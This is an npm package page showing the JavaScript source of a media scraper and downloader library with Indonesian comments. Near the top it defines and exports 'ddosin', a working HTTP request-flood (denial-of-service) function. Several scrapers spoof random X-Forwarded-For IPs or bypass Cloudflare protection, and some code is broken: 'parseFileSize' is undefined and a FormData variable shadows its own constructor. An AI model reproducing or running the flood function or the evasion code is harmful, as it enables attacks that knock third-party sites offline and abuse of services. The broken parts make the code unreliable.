@deffgans/scraper
Version:
🔥 Terima kasih sudah menggunakan API ini! 🔥 🙏 Juga terima kasih kepada yang sudah support sampai sekarang! 🥰
1,046 lines (916 loc) • 32.6 kB
JavaScript
const axios = require('axios');
const FormData = require('form-data');
const Jimp = require('jimp');
const cheerio = require("cheerio");
const qs = require("qs");
const fetch = require("node-fetch");
const path = require('path')
const { fromBuffer } = require('file-type');
const { createCanvas, registerFont } = require('canvas');
const fs = require('fs');
const cloudscraper = require('cloudscraper')
const SocksProxyAgent = require('socks-proxy-agent');
const HttpsProxyAgent = require('https-proxy-agent');
const randomUseragent = require('random-useragent');
const req = require('request')
const ddosin = (url, qty, ms) => {
let err = ok = 0
setInterval(_ => {
for (let i = qty; i--;)
req(url, error => !error ? ok++ : err++)
console.log(`result:' ${ ok } ${ err }`)
err = ok = 0
}, ms)
}
async function aiLogic(content, prompt) {
try {
const response = await axios.post('https://luminai.my.id/', { content, prompt });
console.log(response.data);
return response.data;
} catch (error) {
console.error(error);
throw error;
}
}
async function BratGenerator(teks) {
try {
if (!teks) throw new Error('Teks tidak boleh kosong!');
let width = 512;
let height = 512;
let margin = 20;
let wordSpacing = 50;
let fontURL = 'https://files.catbox.moe/nseqid.ttf'; // URL font
let fontPath = path.join(__dirname, 'temp_font.ttf'); // File sementara
// Unduh font dari URL dan simpan sebagai file sementara
console.log('🔄 Mengunduh font...');
const { data } = await axios.get(fontURL, { responseType: 'arraybuffer' });
fs.writeFileSync(fontPath, data);
console.log('✅ Font berhasil diunduh!');
// Daftarkan font
registerFont(fontPath, { family: 'Narrow' });
let canvas = createCanvas(width, height);
let ctx = canvas.getContext('2d');
// Latar belakang putih
ctx.fillStyle = 'white';
ctx.fillRect(0, 0, width, height);
let fontSize = 280;
let lineHeightMultiplier = 1.3;
ctx.textAlign = 'left';
ctx.textBaseline = 'top';
ctx.fillStyle = 'black';
ctx.font = `${fontSize}px Narrow`;
let words = teks.split(' ');
let lines = [];
function rebuildLines() {
lines = [];
let currentLine = '';
for (let word of words) {
let testLine = currentLine ? `${currentLine} ${word}` : word;
let lineWidth =
ctx.measureText(testLine).width + (currentLine.split(' ').length - 1) * wordSpacing;
if (lineWidth < width - 2 * margin) {
currentLine = testLine;
} else {
lines.push(currentLine);
currentLine = word;
}
}
if (currentLine) {
lines.push(currentLine);
}
}
rebuildLines();
while (lines.length * fontSize * lineHeightMultiplier > height - 2 * margin) {
fontSize -= 2;
ctx.font = `${fontSize}px Narrow`;
rebuildLines();
}
let lineHeight = fontSize * lineHeightMultiplier;
let y = margin;
for (let line of lines) {
let wordsInLine = line.split(' ');
let x = margin;
for (let word of wordsInLine) {
ctx.fillText(word, x, y);
x += ctx.measureText(word).width + wordSpacing;
}
y += lineHeight;
}
let buffer = canvas.toBuffer('image/png');
// Hapus font setelah digunakan
fs.unlinkSync(fontPath);
console.log('ðŸ—‘ï¸ Font berhasil dihapus!');
return {
status: 200,
author: 'deff',
buffer
};
} catch (error) {
return {
status: 500,
error: error.message
};
}
}
async function youtubedl(url, type = 'mp4', quality) {
const axios = require('axios')
const { createDecipheriv } = require('crypto')
const { spawn } = require('child_process')
const fs = require('fs')
const path = require('path')
const api = {
base: 'https://media.savetube.me/api',
cdn: '/random-cdn',
info: '/v2/info',
download: '/download'
}
const headers = {
accept: '*/*',
'content-type': 'application/json',
origin: 'https://yt.savetube.me',
referer: 'https://yt.savetube.me/',
'user-agent': 'Postify/1.0.0'
}
const vid_quality = ['144', '240', '360', '480', '720', '1080']
const aud_quality = ['32', '64', '128', '192', '256', '320']
const output_dir = '.'
if (!fs.existsSync(output_dir)) fs.mkdirSync(output_dir)
const randomKarakter = (length) => {
const chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
return Array.from({ length }, () => chars.charAt(Math.floor(Math.random() * chars.length))).join('')
}
const FileSize = (file_path) => {
const bytes = fs.statSync(file_path).size
if (bytes >= 1073741824) return (bytes / 1073741824).toFixed(2)+' GB'
if (bytes >= 1048576) return (bytes / 1048576).toFixed(2)+' MB'
if (bytes >= 1024) return (bytes / 1024).toFixed(2)+' KB'
return bytes+' B'
}
const hex_to_buf = (hex) => Buffer.from(hex, 'hex')
const decrypt = (enc) => {
try {
const secret_key = 'C5D58EF67A7584E4A29F6C35BBC4EB12'
const data = Buffer.from(enc, 'base64')
const iv = data.slice(0, 16)
const content = data.slice(16)
const key = hex_to_buf(secret_key)
const decipher = createDecipheriv('aes-128-cbc', key, iv)
let decrypted = Buffer.concat([decipher.update(content), decipher.final()])
return JSON.parse(decrypted.toString())
} catch (error) {
throw new Error(error.message)
}
}
const get_id = (url) => {
const regex = [
/youtube\.com\/watch\?v=([a-zA-Z0-9_-]{11})/,
/youtube\.com\/embed\/([a-zA-Z0-9_-]{11})/,
/youtube\.com\/v\/([a-zA-Z0-9_-]{11})/,
/youtube\.com\/shorts\/([a-zA-Z0-9_-]{11})/,
/youtu\.be\/([a-zA-Z0-9_-]{11})/
]
for (let r of regex) {
let match = url.match(r)
if (match) return match[1]
}
return null
}
const dl_file = (url, file_path) => {
return new Promise(async (resolve, reject) => {
try {
const response = await axios({
url,
method: 'GET',
responseType: 'stream'
})
const writer = fs.createWriteStream(file_path)
response.data.pipe(writer)
writer.on('finish', () => resolve(file_path))
writer.on('error', reject)
} catch (error) {
reject(error)
}
})
}
const convert_audio = (input, output, bitrate) => {
return new Promise((resolve, reject) => {
const process = spawn('ffmpeg', [
'-i', 'pipe:0',
'-b:a', `${bitrate}k`,
'-preset', 'ultrafast',
'-movflags', '+faststart',
output
])
const readStream = fs.createReadStream(input)
readStream.pipe(process.stdin)
process.on('close', (code) => {
if (code === 0) resolve(output)
else reject(new Error('Error :('))
})
})
}
const id = get_id(url)
try {
const { data: cdn_res } = await axios.get(api.base+api.cdn, { headers })
const cdn = cdn_res.cdn
const { data: info_res } = await axios.post(`https://${cdn}${api.info}`, {
url: `https://www.youtube.com/watch?v=${id}`
}, { headers })
const decrypted = decrypt(info_res.data)
if (type === 'mp4') {
if (!vid_quality.includes(quality.toString())) quality = '360'
} else if (type === 'mp3') {
if (!aud_quality.includes(quality.toString())) quality = '192'
}
const { data: dl_res } = await axios.post(`https://${cdn}${api.download}`, {
id,
downloadType: type === 'mp3' ? 'audio' : 'video',
quality,
key: decrypted.key
}, { headers })
const file_name = `${randomKarakter(4)}.${type}`
const file_path = path.join(output_dir, file_name)
await dl_file(dl_res.data.downloadUrl, file_path)
if (type === 'mp3') {
const output_file = path.join(output_dir, `${randomKarakter(4)}.mp3`)
await convert_audio(file_path, output_file, quality)
fs.unlinkSync(file_path)
return {
title: decrypted.title,
format: 'mp3',
quality: quality+'kbps',
duration: decrypted.duration,
thumbnail: decrypted.thumbnail || `https://i.ytimg.com/vi/${id}/maxresdefault.jpg`,
file_name: decrypted.title+'.mp3',
file_size: FileSize(output_file),
file_path: './'+output_file
}
}
return {
title: decrypted.title,
format: 'mp4',
quality: quality+'p',
duration: decrypted.duration,
thumbnail: decrypted.thumbnail || `https://i.ytimg.com/vi/${id}/maxresdefault.jpg`,
file_name: decrypted.title+'.mp4',
file_size: FileSize(file_path),
file_path: './'+file_path
}
} catch (err) {
return { error: err.message }
}
}
async function instagram(url) {
const requestData = 'recaptchaToken=&q=' + url + '=media&lang=en';
try {
const { data } = await axios.post('https://v3.igdownloader.app/api/ajaxSearch', requestData, {
headers: {
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'Accept': '*/*'
}
});
const $ = cheerio.load(data.data);
const thumb = $('.download-items__thumb img').attr('src');
const link = $('.download-items__btn a').attr('href');
const result = {
status: true,
creator: 'fumi',
thumb: thumb,
link: link
};
return result;
} catch (error) {
console.error("Error:", error);
return null;
}
}
async function generateRandomIP() {
return `${Math.floor(Math.random() * 254)}.${Math.floor(Math.random() * 254)}.${Math.floor(Math.random() * 254)}.${Math.floor(Math.random() * 254)}`;
}
async function tiktokdl(videoUrl) {
try {
const response = await fetch("https://www.tikwm.com/api/", {
method: "POST",
headers: {
Accept: "application/json, text/javascript, */*; q=0.01",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Forwarded-For": generateRandomIP(),
"Custom-Port": "443",
"Sec-CH-UA": "\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"",
"User-Agent": "Chrome/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36",
},
body: new URLSearchParams({
url: videoUrl,
count: 12,
cursor: 0,
web: 1,
hd: 1,
}),
});
const data = await response.json();
return {
region: data.data.region,
title: data.data.title,
avatar: `https://www.tikwm.com${data.data.author.avatar}`,
author: data.data.author.nickname,
username: data.data.author.unique_id,
comment: data.data.comment_count.toLocaleString(),
views: data.data.play_count.toLocaleString(),
cover: `https://www.tikwm.com${data.data.cover}`,
like: data.data.digg_count.toLocaleString(),
bookmark: data.data.collect_count.toLocaleString(),
published: new Date(data.data.create_time * 1000).toLocaleDateString().trim(),
video: `https://www.tikwm.com${data.data.play}`,
video_wm: `https://www.tikwm.com${data.data.wmplay}`,
video_hd: `https://www.tikwm.com${data.data.hdplay}`,
music: data.data.music_info.play,
duration: "",
};
} catch (error) {
throw new Error("Something went wrong");
}
}
async function fetchDependents(link) {
const url = link+'/network/dependents';
try {
const { data: html } = await axios.get(url, {
headers: {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36'
}
});
const $ = cheerio.load(html);
const dependentsLinks = [];
$('.Box-row a[href*="/"]').each((index, element) => {
const repoPath = $(element).attr('href');
if (repoPath && /^\/[^/]+\/[^/]+$/.test(repoPath)) {
const repoLink = `https://github.com${repoPath}`;
dependentsLinks.push(repoLink);
}
});
return {
status: true,
creator: 'deffri',
result: dependentsLinks
}
} catch (error) {
console.error(`Failed to fetch dependents: ${error.message}`);
}
}
async function tiktokStalk(user) {
try {
const url = await fetch(`https://tiktok.com/@${user}`, {
headers: {
'User-Agent': 'PostmanRuntime/7.32.2'
}
});
const html = await url.text();
const $ = cheerio.load(html);
const data = $('#__UNIVERSAL_DATA_FOR_REHYDRATION__').text();
const result = JSON.parse(data);
if (result['__DEFAULT_SCOPE__']['webapp.user-detail'].statusCode !== 0) {
const ress = {
status: 'error',
message: 'User not found!',
};
console.log(ress);
return ress;
}
const res = result['__DEFAULT_SCOPE__']['webapp.user-detail']['userInfo'];
return res;
} catch (err) {
console.log(err);
return String(err);
}
};
async function alldl(url){
const req = {
url: url
}
const header = {
'Accept': 'application/json',
'Content-Type': 'application/json',
'User-Agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Mobile Safari/537.36',
'Referer': 'https://cobalt.tools/'
};
try {
const resp = await fetch('https://api.cobalt.tools/api/json', {
method: 'POST',
headers: header,
body: JSON.stringify(req)
});
if (resp.ok) {
const data = await resp.json();
return data
} else {
return {
status: false,
message: 'permintaan tidak dapat diproses'
}
}
} catch (error) {
return {
status: false,
message: error
}
}
}
function mediafiredl(url) {
return new Promise(async(resolve, reject) => {
var a, b;
if (!/https?:\/\/(www\.)?mediafire\.com/.test(url)) return resolve()
const data = await axios.get(url).catch(function (error) {})
if (!data) {
resolve()
} else {
const $ = cheerio.load(data.data);
const Url = ($('#downloadButton').attr('href') || '').trim();
const url2 = ($('#download_link > a.retry').attr('href') || '').trim();
const $intro = $('div.dl-info > div.intro');
const filename = $intro.find('div.filename').text().trim();
const filetype = $intro.find('div.filetype > span').eq(0).text().trim();
const ext = ((b = (a = /\(\.(.*?)\)/.exec($intro.find('div.filetype > span').eq(1).text())) === null || a === void 0 ? void 0 : a[1]) === null || b === void 0 ? void 0 : b.trim()) || 'bin';
const $li = $('div.dl-info > ul.details > li');
const aploud = $li.eq(1).find('span').text().trim();
const filesizeH = $li.eq(0).find('span').text().trim();
const filesize = (0, parseFileSize)(filesizeH);
const result = {
status: true,
creator: 'deffri',
url: Url || url2,
url2,
filename,
filetype,
ext,
upload_date: aploud,
filesizeH,
filesize
};
resolve(result)
}
})
}
async function getCookies() {
try {
const response = await axios.get('https://www.pinterest.com/csrf_error/');
const setCookieHeaders = response.headers['set-cookie'];
if (setCookieHeaders) {
const cookies = setCookieHeaders.map(cookieString => {
const cookieParts = cookieString.split(';');
const cookieKeyValue = cookieParts[0].trim();
return cookieKeyValue;
});
return cookies.join('; ');
} else {
console.warn('No set-cookie headers found in the response.');
return null;
}
} catch (error) {
console.error('Error fetching cookies:', error);
return null;
}
}
async function pinterest(query) {
try {
const cookies = await getCookies();
if (!cookies) {
console.log('Failed to retrieve cookies. Exiting.');
return;
}
const url = 'https://www.pinterest.com/resource/BaseSearchResource/get/';
const params = {
source_url: `/search/pins/?q=${query}`, // Use encodedQuery here
data: JSON.stringify({
"options": {
"isPrefetch": false,
"query": query,
"scope": "pins",
"no_fetch_context_on_resource": false
},
"context": {}
}),
_: Date.now()
};
const headers = {
'accept': 'application/json, text/javascript, */*, q=0.01',
'accept-encoding': 'gzip, deflate',
'accept-language': 'en-US,en;q=0.9',
'cookie': cookies,
'dnt': '1',
'referer': 'https://www.pinterest.com/',
'sec-ch-ua': '"Not(A:Brand";v="99", "Microsoft Edge";v="133", "Chromium";v="133"',
'sec-ch-ua-full-version-list': '"Not(A:Brand";v="99.0.0.0", "Microsoft Edge";v="133.0.3065.92", "Chromium";v="133.0.6943.142"',
'sec-ch-ua-mobile': '?0',
'sec-ch-ua-model': '""',
'sec-ch-ua-platform': '"Windows"',
'sec-ch-ua-platform-version': '"10.0.0"',
'sec-fetch-dest': 'empty',
'sec-fetch-mode': 'cors',
'sec-fetch-site': 'same-origin',
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Edg/133.0.0.0',
'x-app-version': 'c056fb7',
'x-pinterest-appstate': 'active',
'x-pinterest-pws-handler': 'www/[username]/[slug].js',
'x-pinterest-source-url': '/hargr003/cat-pictures/',
'x-requested-with': 'XMLHttpRequest'
};
const { data } = await axios.get(url, {
headers: headers,
params: params
})
const container = [];
const results = data.resource_response.data.results.filter((v) => v.images?.orig);
results.forEach((result) => {
container.push({
upload_by: result.pinner.username,
fullname: result.pinner.full_name,
followers: result.pinner.follower_count,
caption: result.grid_title,
image: result.images.orig.url,
source: "https://id.pinterest.com/pin/" + result.id,
});
});
return {
status: 200,
result: container
}
} catch (error) {
console.log(error);
return [];
}
}
async function dbr(q) {
const url = `https://danbooru.donmai.us/posts?tags=${encodeURIComponent(q)}`;
const response = await axios.get(url);
const html = response.data;
const $ = cheerio.load(html);
const results = [];
$('article.post-preview').each((index, element) => {
const title = $(element).attr('data-id');
const imgSrc = $(element).find('img').attr('src');
const tags = $(element).attr('data-tags').split(' ');
results.push({ title, imgSrc, tags });
});
return results
}
async function uploadImageToCatbox(imagePath) {
const form = new FormData();
form.append('reqtype', 'fileupload'); // Add the request type
form.append('fileToUpload', fs.createReadStream(imagePath));
try {
const response = await axios.post('https://catbox.moe/user/api.php', form, {
headers: {
...form.getHeaders(),
},
});
return {
creator: 'deff',
status: 'true',
hasil: response.data
}
} catch (error) {
console.error('Error uploading image:', error.response ? error.response.data : error.message);
}
}
async function uploadFile(filePath) {
try {
const buffer = fs.readFileSync(filePath);
let { ext } = await fromBuffer(buffer);
let FormData = new FormData();
FormData.append("file", buffer, "file." + ext);
let res = await fetch("https://8030.us.kg/api/upload.php", {
method: "POST",
body: FormData,
});
let data = await res.json();
console.log('Respons dari server:', data);
if (data.result && data.result.url) {
return data.result.url;
} else {
return '';
}
} catch (error) {
console.error('Terjadi kesalahan:', error);
return '';
}
}
async function uploadVideo(filePath) {
try {
const fileStream = fs.createReadStream(filePath);
const formData = new FormData();
formData.append("file", fileStream);
const response = await axios.post("https://videy.co/api/upload", formData, {
headers: {
...formData.getHeaders(),
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36",
},
});
const videoID = response.data.id;
const videoURL = `https://videy.co/v?id=${videoID}`;
console.log("Upload berhasil!");
return {
creator: 'deff',
status: true,
result: videoURL
}
} catch (error) {
console.error("Gagal mengunggah:", error.response ? error.response.data : error.message);
}
}
async function remini(path, type) {
return new Promise(async (pepenk, pepeng) => {
let selecte = ['enhance', "recolor", "dehaze"];
if (selecte.includes(type)) {
type = type;
} else {
type = selecte[0];
}
let daata = new FormData();
let url = "https://inferenceengine.vyro.ai/" + type;
daata.append("model_version", 1, {
'Content-Transfer-Encoding': "binary",
'contentType': "multipart/form-data; charset=utf-8"
});
daata.append('image', Buffer.from(path), {
'filename': "enhance_image_body.jpg",
'contentType': "image/jpeg"
});
daata.submit({
'url': url,
'host': "inferenceengine.vyro.ai",
'path': '/' + type,
'protocol': "https:",
'headers': {
'User-Agent': 'okhttp/4.9.3',
'Connection': "Keep-Alive",
'Accept-Encoding': "gzip"
}
}, function (err, res) {
if (err) {
pepeng();
}
let chunks = [];
res.on('data', function (chunk) {
chunks.push(chunk);
}).on("end", () => {
pepenk(Buffer.concat(chunks));
});
res.on("error", err => {
pepeng();
});
});
});
}
async function happymodSearch(game) {
try {
const { data } = await axios.get(`https://ind.happymod.com/search.html?q=${encodeURIComponent(game)}`);
const $ = cheerio.load(data);
const results = [];
$('.pdt-app-box').each((index, element) => {
const title = $(element).find('.pdt-app-h3 a').text().trim();
const appLink = $(element).find('.pdt-app-h3 a').attr('href');
const imageUrl = $(element).find('.pdt-app-img img').attr('data-original');
const rating = $(element).find('.a-search-num').text().trim();
results.push({
title,
appLink: 'https://ind.happymod.com' + appLink,
imageUrl,
rating,
});
});
return {
creator: 'deff',
result: results
}
} catch (error) {
console.error('Error scraping the page:', error);
}
}
async function getModuleDetails(packageName) {
try {
const response = await axios.get(`https://registry.npmjs.org/${packageName}`);
return response.data.time && response.data.time.created ? response.data.time.created : 'Unknown';
} catch (error) {
console.error(`Error fetching details for ${packageName}:`, error);
return 'Unknown';
}
}
async function npmSearch(query) {
try {
const response = await axios.get(`https://registry.npmjs.org/-/v1/search?text=${query}&size=5`);
const results = await Promise.all(response.data.objects.map(async (pkg) => {
const lastPublish = await getModuleDetails(pkg.package.name);
return {
name: pkg.package.name,
description: pkg.package.description || 'No description available',
version: pkg.package.version,
lastPublish: lastPublish,
};
}));
return {
creator: 'deff',
status: true,
result: results
}
} catch (error) {
console.error('Error fetching search results:', error);
}
}
async function tiktokSearch(query) {
try {
const response = await fetch("https://tikwm.com/api/feed/search", {
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
Cookie: "current_language=en",
"User-Agent":
"Mozilla/5.0 (Linux Android 10 K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Mobile Safari/537.36",
},
body: new URLSearchParams({
keywords: query,
count: 10,
cursor: 0,
HD: 1,
}),
});
const result = await response.json();
const videos = result.data?.videos || [];
if (videos.length === 0) {
throw new Error("Tidak ada video ditemukan.");
}
return videos.map((v) => ({
title: v.title,
cover: v.cover,
origin_cover: v.origin_cover,
link: `https://www.tiktok.com/@${v.author.unique_id}/video/${v.video_id}`,
no_watermark: v.play,
watermark: v.wmplay,
music: v.music_info,
views: v.play_count,
like: v.digg_count,
comment: v.comment_count || null,
share: v.share_count,
download: v.download_count || null,
save: v.collect_count || null,
create_time: v.create_time * 1000,
}));
} catch (error) {
throw new Error(`Gagal mengambil data: ${error.message}`);
}
}
async function animeSearch(query) {
try {
const response = await axios.get(`https://otakudesu.cloud/?s=${encodeURIComponent(query)}&post_type=anime`);
const html = response.data;
const $ = cheerio.load(html);
const animeList = [];
$('ul.chivsrc > li').each((index, element) => {
const image = $(element).find('img').attr('src');
const title = $(element).find('h2 a').text();
const link = $(element).find('h2 a').attr('href');
const genres = [];
$(element)
.find('.set')
.eq(0)
.find('a')
.each((_, genre) => {
genres.push($(genre).text());
});
const status = $(element).find('.set').eq(1).text().replace('Status : ', '').trim();
const rating = $(element).find('.set').eq(2).text().replace('Rating : ', '').trim();
animeList.push({
image,
title,
link,
genres,
status,
rating
});
});
return {
creator: 'deff',
status: true,
rsult: animeList
}
} catch (error) {
console.error('Terjadi kesalahan saat scraping:', error.message);
}
}
async function animedl(url) {
try {
const { data } = await axios.get(url);
const $ = cheerio.load(data);
const downloads = [];
$('.download ul li').each((index, element) => {
const quality = $(element).find('strong').text().trim();
const links = [];
$(element).find('a').each((i, link) => {
links.push({
host: $(link).text().trim(),
url: $(link).attr('href'),
});
});
const size = $(element).find('i').text().trim();
downloads.push({ quality, links, size });
});
return downloads;
} catch (error) {
console.error('Error scraping data:', error);
return null;
}
}
async function nekopoiSearch(query) {
try {
const url = `https://nekopoi.care/search/${encodeURIComponent(query)}`;
const htmlContent = await cloudscraper.get(url);
const $ = cheerio.load(htmlContent);
const results = [];
$('.result ul li').each((i, el) => {
const title = $(el).find('h2 a').text().trim();
const link = $(el).find('h2 a').attr('href');
const image = $(el).find('.limitnjg img').attr('src');
const parody = $(el).find('.desc p:contains("Parody")').text().replace('Parody :', '').trim();
const producers = $(el).find('.desc p:contains("Producers")').text().replace('Producers :', '').trim();
const duration = $(el).find('.desc p:contains("Duration")').text().replace('Duration :', '').trim();
const size = $(el).find('.desc p:contains("Size")').text().replace('Size :', '').trim();
results.push({ title, link, image, parody, producers, duration, size });
});
return results;
} catch (error) {
console.error('Terjadi kesalahan:', error.message);
return [];
}
}
async function baseCoc(query) {
try {
const url = `https://clashofclans-layouts.com/plans/th_${query}/`
const { data } = await axios.get(url);
const $ = cheerio.load(data);
let layouts = [];
$('.base_grid_item').each((index, element) => {
const title = $(element).find('a').attr('title') || 'No Title';
const link = $(element).find('a').attr('href') ? `https://clashofclans-layouts.com${$(element).find('a').attr('href')}` : '';
const image = $(element).find('img.base_grid_img').attr('src') ? `https://clashofclans-layouts.com${$(element).find('img.base_grid_img').attr('src')}` : '';
const views = $(element).find('.views_block_mg div').text().trim();
layouts.push({ title, link, image, views });
});
return layouts
} catch (error) {
return error.message
console.error('Error scraping data:', error.message);
}
}
async function baseCocLink(link) {
try {
const { data } = await axios.get(link);
const $ = cheerio.load(data);
const title = $('h1').text().trim();
const image = $('.base_border_wide a img').attr('src') ? `https://clashofclans-layouts.com${$('.base_border_wide a img').attr('src')}` : '';
const copyLink = $('.base_link_block a').attr('href') || '';
const views = $('.full_base_views div').text().trim();
let tags = [];
$('.tags_block span a').each((index, element) => {
tags.push($(element).text().trim());
});
const result = {
title,
image,
copyLink,
views,
tags
};
return {
status: 200,
creator: 'deff',
results: result,
}
} catch (error) {
console.error('Error scraping data:', error.message);
return error.message
}
}
//---------Export Module----------\\
module.exports = {
ddosin,
aiLogic,
youtubedl,
instagram,
tiktokdl,
fetchDependents,
tiktokStalk,
alldl,
pinterest,
dbr,
uploadImageToCatbox,
uploadFile,
uploadVideo,
remini,
happymodSearch,
npmSearch,
animeSearch,
animedl,
nekopoiSearch,
tiktokSearch,
BratGenerator,
baseCoc,
baseCocLink
}